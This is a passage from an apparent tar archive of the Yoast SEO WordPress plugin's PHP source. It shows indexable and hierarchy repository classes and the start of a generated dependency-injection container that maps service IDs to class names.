	 *
	 * @return bool Whether or not the delete was succesfull.
	 */
	public function delete_many_by_id( $ids ) {
		return $this->query()
			->where_in( 'id', $ids )
			->delete_many();
	}

	/**
	 * Insert multiple seo links.
	 *
	 * @param SEO_Links[] $links The seo links to be inserted.
	 *
	 * @return bool Whether or not the insert was succesfull.
	 */
	public function insert_many( $links ) {
		return $this->query()
			->insert_many( $links );
	}
}
wordpress-seo/src/repositories/indexable-repository.php000064400000036357147510273100017575 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Psr\Log\LoggerInterface;
use wpdb;
use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Builders\Indexable_Builder;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Loggers\Logger;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Services\Indexables\Indexable_Version_Manager;

/**
 * Class Indexable_Repository.
 */
class Indexable_Repository {

	/**
	 * The indexable builder.
	 *
	 * @var Indexable_Builder
	 */
	private $builder;

	/**
	 * Represents the hierarchy repository.
	 *
	 * @var Indexable_Hierarchy_Repository
	 */
	protected $hierarchy_repository;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $current_page;

	/**
	 * The logger object.
	 *
	 * @var LoggerInterface
	 */
	protected $logger;

	/**
	 * The WordPress database.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Checks if Indexables are up to date.
	 *
	 * @var Indexable_Version_Manager
	 */
	protected $version_manager;

	/**
	 * Returns the instance of this class constructed through the ORM Wrapper.
	 *
	 * @param Indexable_Builder              $builder              The indexable builder.
	 * @param Current_Page_Helper            $current_page         The current post helper.
	 * @param Logger                         $logger               The logger.
	 * @param Indexable_Hierarchy_Repository $hierarchy_repository The hierarchy repository.
	 * @param wpdb                           $wpdb                 The WordPress database instance.
	 * @param Indexable_Version_Manager      $version_manager      The indexable version manager.
	 */
	public function __construct(
		Indexable_Builder $builder,
		Current_Page_Helper $current_page,
		Logger $logger,
		Indexable_Hierarchy_Repository $hierarchy_repository,
		wpdb $wpdb,
		Indexable_Version_Manager $version_manager
	) {
		$this->builder              = $builder;
		$this->current_page         = $current_page;
		$this->logger               = $logger;
		$this->hierarchy_repository = $hierarchy_repository;
		$this->wpdb                 = $wpdb;
		$this->version_manager      = $version_manager;
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable' );
	}

	/**
	 * Attempts to find the indexable for the current WordPress page. Returns false if no indexable could be found.
	 * This may be the result of the indexable not existing or of being unable to determine what type of page the
	 * current page is.
	 *
	 * @return bool|Indexable The indexable. If no indexable is found returns an empty indexable. Returns false if there is a database error.
	 */
	public function for_current_page() {
		$indexable = false;

		switch ( true ) {
			case $this->current_page->is_simple_page():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_simple_page_id(), 'post' );
				break;
			case $this->current_page->is_home_static_page():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_front_page_id(), 'post' );
				break;
			case $this->current_page->is_home_posts_page():
				$indexable = $this->find_for_home_page();
				break;
			case $this->current_page->is_term_archive():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_term_id(), 'term' );
				break;
			case $this->current_page->is_date_archive():
				$indexable = $this->find_for_date_archive();
				break;
			case $this->current_page->is_search_result():
				$indexable = $this->find_for_system_page( 'search-result' );
				break;
			case $this->current_page->is_post_type_archive():
				$indexable = $this->find_for_post_type_archive( $this->current_page->get_queried_post_type() );
				break;
			case $this->current_page->is_author_archive():
				$indexable = $this->find_by_id_and_type( $this->current_page->get_author_id(), 'user' );
				break;
			case $this->current_page->is_404():
				$indexable = $this->find_for_system_page( '404' );
				break;
		}

		if ( $indexable === false ) {
			return $this->query()->create(
				[
					'object_type' => 'unknown',
					'post_status' => 'unindexed',
					'version'     => 1,
				]
			);
		}

		return $indexable;
	}

	/**
	 * Retrieves an indexable by its permalink.
	 *
	 * @param string $permalink The indexable permalink.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_by_permalink( $permalink ) {
		$permalink_hash = \strlen( $permalink ) . ':' . \md5( $permalink );

		// Find by both permalink_hash and permalink, permalink_hash is indexed so will be used first by the DB to optimize the query.
		return $this->query()
			->where( 'permalink_hash', $permalink_hash )
			->where( 'permalink', $permalink )
			->find_one();
	}

	/**
	 * Retrieves all the indexable instances of a certain object type.
	 *
	 * @param string $object_type The object type.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object type.
	 */
	public function find_all_with_type( $object_type ) {
		/**
		 * The array with all the indexable instances of a certain object type.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			->query()
			->where( 'object_type', $object_type )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Retrieves all the indexable instances of a certain object subtype.
	 *
	 * @param string $object_type     The object type.
	 * @param string $object_sub_type The object subtype.
	 *
	 * @return Indexable[] The array with all the indexable instances of a certain object subtype.
	 */
	public function find_all_with_type_and_sub_type( $object_type, $object_sub_type ) {
		/**
		 * The array with all the indexable instances of a certain object type and subtype.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this
			->query()
			->where( 'object_type', $object_type )
			->where( 'object_sub_type', $object_sub_type )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Retrieves the homepage indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_home_page( $auto_create = true ) {
		$indexable = \wp_cache_get( 'home-page', 'yoast-seo-indexables' );
		if ( ! $indexable ) {
			/**
			 * Indexable instance.
			 *
			 * @var Indexable $indexable
			 */
			$indexable = $this->query()->where( 'object_type', 'home-page' )->find_one();

			if ( $auto_create && ! $indexable ) {
				$indexable = $this->builder->build_for_home_page();
			}

			$indexable = $this->upgrade_indexable( $indexable );

			\wp_cache_set( 'home-page', $indexable, 'yoast-seo-indexables', ( 5 * \MINUTE_IN_SECONDS ) );
		}

		return $indexable;
	}

	/**
	 * Retrieves the date archive indexable.
	 *
	 * @param bool $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_date_archive( $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()->where( 'object_type', 'date-archive' )->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_date_archive();
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable for a post type archive.
	 *
	 * @param string $post_type   The post type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable The indexable, false if none could be found.
	 */
	public function find_for_post_type_archive( $post_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()
			->where( 'object_type', 'post-type-archive' )
			->where( 'object_sub_type', $post_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_post_type_archive( $post_type );
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves the indexable for a system page.
	 *
	 * @param string $object_sub_type The type of system page.
	 * @param bool   $auto_create     Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_for_system_page( $object_sub_type, $auto_create = true ) {
		/**
		 * Indexable instance.
		 *
		 * @var Indexable $indexable
		 */
		$indexable = $this->query()
			->where( 'object_type', 'system-page' )
			->where( 'object_sub_type', $object_sub_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_system_page( $object_sub_type );
		}

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Retrieves an indexable by its ID and type.
	 *
	 * @param int    $object_id   The indexable object ID.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return bool|Indexable Instance of indexable.
	 */
	public function find_by_id_and_type( $object_id, $object_type, $auto_create = true ) {
		$indexable = $this->query()
			->where( 'object_id', $object_id )
			->where( 'object_type', $object_type )
			->find_one();

		if ( $auto_create && ! $indexable ) {
			$indexable = $this->builder->build_for_id_and_type( $object_id, $object_type );
		}
		else {
			$indexable = $this->upgrade_indexable( $indexable );
		}

		return $indexable;
	}

	/**
	 * Retrieves multiple indexables at once by their id's and type.
	 *
	 * @param int[]  $object_ids  The array of indexable object id's.
	 * @param string $object_type The indexable object type.
	 * @param bool   $auto_create Optional. Create the indexable if it does not exist.
	 *
	 * @return Indexable[] An array of indexables.
	 */
	public function find_by_multiple_ids_and_type( $object_ids, $object_type, $auto_create = true ) {
		if ( empty( $object_ids ) ) {
			return [];
		}

		/**
		 * Represents an array of indexable objects.
		 *
		 * @var Indexable[] $indexables
		 */
		$indexables = $this->query()
			->where_in( 'object_id', $object_ids )
			->where( 'object_type', $object_type )
			->find_many();

		if ( $auto_create ) {
			$indexables_available = [];
			foreach ( $indexables as $indexable ) {
				$indexables_available[] = $indexable->object_id;
			}

			$indexables_to_create = \array_diff( $object_ids, $indexables_available );

			foreach ( $indexables_to_create as $indexable_to_create ) {
				$indexables[] = $this->builder->build_for_id_and_type( $indexable_to_create, $object_type );
			}
		}

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Finds the indexables by id's.
	 *
	 * @param array $indexable_ids The indexable id's.
	 *
	 * @return Indexable[] The found indexables.
	 */
	public function find_by_ids( array $indexable_ids ) {
		if ( empty( $indexable_ids ) ) {
			return [];
		}

		$indexables = $this
			->query()
			->where_in( 'id', $indexable_ids )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Returns all ancestors of a given indexable.
	 *
	 * @param Indexable $indexable The indexable to find the ancestors of.
	 *
	 * @return Indexable[] All ancestors of the given indexable.
	 */
	public function get_ancestors( Indexable $indexable ) {
		// If we've already set ancestors on the indexable no need to get them again.
		if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
			return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
		}

		$indexable_ids = $this->hierarchy_repository->find_ancestors( $indexable );

		// If we've set ancestors on the indexable because we had to build them to find them.
		if ( \is_array( $indexable->ancestors ) && ! empty( $indexable->ancestors ) ) {
			return \array_map( [ $this, 'upgrade_indexable' ], $indexable->ancestors );
		}

		if ( empty( $indexable_ids ) ) {
			return [];
		}

		if ( $indexable_ids[0] === 0 && \count( $indexable_ids ) === 1 ) {
			return [];
		}

		$indexables = $this->query()
			->where_in( 'id', $indexable_ids )
			->order_by_expr( 'FIELD(id,' . \implode( ',', $indexable_ids ) . ')' )
			->find_many();

		return \array_map( [ $this, 'upgrade_indexable' ], $indexables );
	}

	/**
	 * Returns all subpages with a given post_parent.
	 *
	 * @param int   $post_parent The post parent.
	 * @param array $exclude_ids The id's to exclude.
	 *
	 * @return Indexable[] array of indexables.
	 */
	public function get_subpages_by_post_parent( $post_parent, $exclude_ids = [] ) {
		$query = $this->query()
			->where( 'post_parent', $post_parent )
			->where( 'object_type', 'post' )
			->where( 'post_status', 'publish' );

		if ( ! empty( $exclude_ids ) ) {
			$query->where_not_in( 'object_id', $exclude_ids );
		}
		return $query->find_many();
	}

	/**
	 * Updates the incoming link count for an indexable without first fetching it.
	 *
	 * @param int $indexable_id The indexable id.
	 * @param int $count        The incoming link count.
	 *
	 * @return bool Whether or not the update was succeful.
	 */
	public function update_incoming_link_count( $indexable_id, $count ) {
		return (bool) $this->query()
			->set( 'incoming_link_count', $count )
			->where( 'id', $indexable_id )
			->update_many();
	}

	/**
	 * Ensures that the given indexable has a permalink.
	 *
	 * Will be deprecated in 17.3 - Use upgrade_indexable instead.
	 *
	 * @codeCoverageIgnore
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return bool|Indexable The indexable.
	 */
	public function ensure_permalink( $indexable ) {
		// @phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- self::class is safe.
		// @phpcs:ignore Squiz.PHP.CommentedOutCode.Found
		// _deprecated_function( __METHOD__, 'Yoast SEO 17.3', self::class . '::upgrade_indexable' );

		return $this->upgrade_indexable( $indexable );
	}

	/**
	 * Checks if an Indexable is outdated, and rebuilds it when necessary.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return Indexable The indexable.
	 */
	public function upgrade_indexable( $indexable ) {
		if ( $this->version_manager->indexable_needs_upgrade( $indexable ) ) {
			$indexable = $this->builder->build( $indexable );
		}
		return $indexable;
	}

	/**
	 * Resets the permalinks of the passed object type and subtype.
	 *
	 * @param string|null $type    The type of the indexable. Can be null.
	 * @param string|null $subtype The subtype. Can be null.
	 *
	 * @return int|bool The number of permalinks changed if the query was succesful. False otherwise.
	 */
	public function reset_permalink( $type = null, $subtype = null ) {
		$query = $this->query()->set(
			[
				'permalink'      => null,
				'permalink_hash' => null,
				'version'        => 0,
			]
		);

		if ( $type !== null ) {
			$query->where( 'object_type', $type );
		}

		if ( $type !== null && $subtype !== null ) {
			$query->where( 'object_sub_type', $subtype );
		}

		return $query->update_many();
	}

	/**
	 * Gets the total number of stored indexables.
	 *
	 * @return int The total number of stored indexables.
	 */
	public function get_total_number_of_indexables() {
		return $this->query()->count();
	}
}
wordpress-seo/src/repositories/indexable-hierarchy-repository.php000064400000007622147510273100021542 0ustar00<?php

namespace Yoast\WP\SEO\Repositories;

use Yoast\WP\Lib\Model;
use Yoast\WP\Lib\ORM;
use Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Models\Indexable;

/**
 * Class Indexable_Hierarchy_Repository.
 */
class Indexable_Hierarchy_Repository {

	/**
	 * Represents the indexable hierarchy builder.
	 *
	 * @var Indexable_Hierarchy_Builder
	 */
	protected $builder;

	/**
	 * Represents the indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * Sets the hierarchy builder.
	 *
	 * @required
	 *
	 * @param Indexable_Hierarchy_Builder $builder The indexable hierarchy builder.
	 *
	 * @return void
	 */
	public function set_builder( Indexable_Hierarchy_Builder $builder ) {
		$this->builder = $builder;
	}

	/**
	 * Sets the indexable helper.
	 *
	 * @required
	 *
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 *
	 * @return void
	 */
	public function set_helper( Indexable_Helper $indexable_helper ) {
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Removes all ancestors for an indexable.
	 *
	 * @param int $indexable_id The indexable id.
	 *
	 * @return bool Whether or not the indexables were successfully deleted.
	 */
	public function clear_ancestors( $indexable_id ) {
		return $this->query()->where( 'indexable_id', $indexable_id )->delete_many();
	}

	/**
	 * Adds an ancestor to an indexable.
	 *
	 * @param int $indexable_id The indexable id.
	 * @param int $ancestor_id  The ancestor id.
	 * @param int $depth        The depth.
	 *
	 * @return bool Whether or not the ancestor was added successfully.
	 */
	public function add_ancestor( $indexable_id, $ancestor_id, $depth ) {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return false;
		}

		$hierarchy = $this->query()->create(
			[
				'indexable_id' => $indexable_id,
				'ancestor_id'  => $ancestor_id,
				'depth'        => $depth,
				'blog_id'      => \get_current_blog_id(),
			]
		);

		return $hierarchy->save();
	}

	/**
	 * Retrieves the ancestors. Create them when empty.
	 *
	 * @param Indexable $indexable The indexable to get the ancestors for.
	 *
	 * @return int[] The indexable id's of the ancestors in order of grandparent to child.
	 */
	public function find_ancestors( Indexable $indexable ) {
		$ancestors = $this->query()
			->select( 'ancestor_id' )
			->where( 'indexable_id', $indexable->id )
			->order_by_desc( 'depth' )
			->find_array();

		if ( ! empty( $ancestors ) ) {
			if ( \count( $ancestors ) === 1 && $ancestors[0]['ancestor_id'] === '0' ) {
				return [];
			}
			return \wp_list_pluck( $ancestors, 'ancestor_id' );
		}

		$indexable = $this->builder->build( $indexable );

		return \wp_list_pluck( $indexable->ancestors, 'id' );
	}

	/**
	 * Finds the children for a given indexable.
	 *
	 * @param Indexable $indexable The indexable to find the children for.
	 *
	 * @return array Array with indexable id's for the children.
	 */
	public function find_children( Indexable $indexable ) {
		$children = $this->query()
			->select( 'indexable_id' )
			->where( 'ancestor_id', $indexable->id )
			->find_array();

		if ( empty( $children ) ) {
			return [];
		}

		return \wp_list_pluck( $children, 'indexable_id' );
	}

	/**
	 * Starts a query for this repository.
	 *
	 * @return ORM
	 */
	public function query() {
		return Model::of_type( 'Indexable_Hierarchy' );
	}

	/**
	 * Finds all the children by given ancestor id's.
	 *
	 * @param array $object_ids List of id's to get the children for.
	 *
	 * @return array List of indexable id's for the children.
	 */
	public function find_children_by_ancestor_ids( array $object_ids ) {
		if ( empty( $object_ids ) ) {
			return [];
		}

		$children = $this->query()
			->select( 'indexable_id' )
			->where_in( 'ancestor_id', $object_ids )
			->find_array();

		if ( empty( $children ) ) {
			return [];
		}

		return \wp_list_pluck( $children, 'indexable_id' );
	}
}
wordpress-seo/src/generated/container.php000064400002105575147510273100014617 0ustar00<?php

namespace Yoast\WP\SEO\Generated;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Argument\RewindableGenerator;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Container;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\FrozenParameterBag;

/**
 * This class has been auto-generated
 * by the Symfony Dependency Injection Component.
 *
 * @final since Symfony 3.3
 */
class Cached_Container extends Container
{
    private $parameters = [];
    private $targetDirs = [];

    public function __construct()
    {
        $this->services = [];
        $this->normalizedIds = [
            'wpseo_addon_manager' => 'WPSEO_Addon_Manager',
            'wpseo_admin_asset_manager' => 'WPSEO_Admin_Asset_Manager',
            'wpseo_breadcrumbs' => 'WPSEO_Breadcrumbs',
            'wpseo_frontend' => 'WPSEO_Frontend',
            'wpseo_replace_vars' => 'WPSEO_Replace_Vars',
            'wpseo_shortlinker' => 'WPSEO_Shortlinker',
            'wpseo_utils' => 'WPSEO_Utils',
            'yoast\\wp\\lib\\migrations\\adapter' => 'Yoast\\WP\\Lib\\Migrations\\Adapter',
            'yoast\\wp\\seo\\actions\\addon_installation\\addon_activate_action' => 'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Activate_Action',
            'yoast\\wp\\seo\\actions\\addon_installation\\addon_install_action' => 'Yoast\\WP\\SEO\\Actions\\Addon_Installation\\Addon_Install_Action',
            'yoast\\wp\\seo\\actions\\alert_dismissal_action' => 'Yoast\\WP\\SEO\\Actions\\Alert_Dismissal_Action',
            'yoast\\wp\\seo\\actions\\configuration\\first_time_configuration_action' => 'Yoast\\WP\\SEO\\Actions\\Configuration\\First_Time_Configuration_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_cleanup_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Cleanup_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_custom_archive_settings_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Custom_Archive_Settings_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_default_archive_settings_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Default_Archive_Settings_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_general_settings_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_General_Settings_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_posts_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posts_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_posttype_defaults_settings_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Posttype_Defaults_Settings_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_taxonomy_settings_importing_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Taxonomy_Settings_Importing_Action',
            'yoast\\wp\\seo\\actions\\importing\\aioseo\\aioseo_validate_data_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Aioseo\\Aioseo_Validate_Data_Action',
            'yoast\\wp\\seo\\actions\\importing\\deactivate_conflicting_plugins_action' => 'Yoast\\WP\\SEO\\Actions\\Importing\\Deactivate_Conflicting_Plugins_Action',
            'yoast\\wp\\seo\\actions\\indexables\\indexable_head_action' => 'Yoast\\WP\\SEO\\Actions\\Indexables\\Indexable_Head_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexable_general_indexation_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexable_indexing_complete_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexable_post_indexation_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexable_post_type_archive_indexation_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexable_term_indexation_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexing_complete_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action',
            'yoast\\wp\\seo\\actions\\indexing\\indexing_prepare_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action',
            'yoast\\wp\\seo\\actions\\indexing\\post_link_indexing_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action',
            'yoast\\wp\\seo\\actions\\indexing\\term_link_indexing_action' => 'Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action',
            'yoast\\wp\\seo\\actions\\integrations_action' => 'Yoast\\WP\\SEO\\Actions\\Integrations_Action',
            'yoast\\wp\\seo\\actions\\semrush\\semrush_login_action' => 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action',
            'yoast\\wp\\seo\\actions\\semrush\\semrush_options_action' => 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action',
            'yoast\\wp\\seo\\actions\\semrush\\semrush_phrases_action' => 'Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action',
            'yoast\\wp\\seo\\actions\\wincher\\wincher_account_action' => 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action',
            'yoast\\wp\\seo\\actions\\wincher\\wincher_keyphrases_action' => 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action',
            'yoast\\wp\\seo\\actions\\wincher\\wincher_login_action' => 'Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action',
            'yoast\\wp\\seo\\analytics\\application\\missing_indexables_collector' => 'Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector',
            'yoast\\wp\\seo\\analytics\\application\\to_be_cleaned_indexables_collector' => 'Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector',
            'yoast\\wp\\seo\\analytics\\user_interface\\last_completed_indexation_integration' => 'Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration',
            'yoast\\wp\\seo\\builders\\indexable_author_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder',
            'yoast\\wp\\seo\\builders\\indexable_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Builder',
            'yoast\\wp\\seo\\builders\\indexable_date_archive_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder',
            'yoast\\wp\\seo\\builders\\indexable_hierarchy_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder',
            'yoast\\wp\\seo\\builders\\indexable_home_page_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder',
            'yoast\\wp\\seo\\builders\\indexable_link_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder',
            'yoast\\wp\\seo\\builders\\indexable_post_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder',
            'yoast\\wp\\seo\\builders\\indexable_post_type_archive_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder',
            'yoast\\wp\\seo\\builders\\indexable_system_page_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder',
            'yoast\\wp\\seo\\builders\\indexable_term_builder' => 'Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder',
            'yoast\\wp\\seo\\builders\\primary_term_builder' => 'Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder',
            'yoast\\wp\\seo\\commands\\cleanup_command' => 'Yoast\\WP\\SEO\\Commands\\Cleanup_Command',
            'yoast\\wp\\seo\\commands\\index_command' => 'Yoast\\WP\\SEO\\Commands\\Index_Command',
            'yoast\\wp\\seo\\conditionals\\addon_installation_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\doing_post_quick_edit_save_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\estimated_reading_time_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\licenses_page_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\non_network_admin_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\post_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\posts_overview_or_ajax_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin\\yoast_admin_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional',
            'yoast\\wp\\seo\\conditionals\\admin_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional',
            'yoast\\wp\\seo\\conditionals\\attachment_redirections_enabled_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional',
            'yoast\\wp\\seo\\conditionals\\check_required_version_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional',
            'yoast\\wp\\seo\\conditionals\\deactivating_yoast_seo_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional',
            'yoast\\wp\\seo\\conditionals\\development_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Development_Conditional',
            'yoast\\wp\\seo\\conditionals\\front_end_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional',
            'yoast\\wp\\seo\\conditionals\\get_request_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional',
            'yoast\\wp\\seo\\conditionals\\headless_rest_endpoints_enabled_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional',
            'yoast\\wp\\seo\\conditionals\\import_tool_selected_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional',
            'yoast\\wp\\seo\\conditionals\\jetpack_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional',
            'yoast\\wp\\seo\\conditionals\\migrations_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional',
            'yoast\\wp\\seo\\conditionals\\new_settings_ui_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional',
            'yoast\\wp\\seo\\conditionals\\news_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\News_Conditional',
            'yoast\\wp\\seo\\conditionals\\no_tool_selected_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional',
            'yoast\\wp\\seo\\conditionals\\non_multisite_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional',
            'yoast\\wp\\seo\\conditionals\\not_admin_ajax_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional',
            'yoast\\wp\\seo\\conditionals\\open_graph_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional',
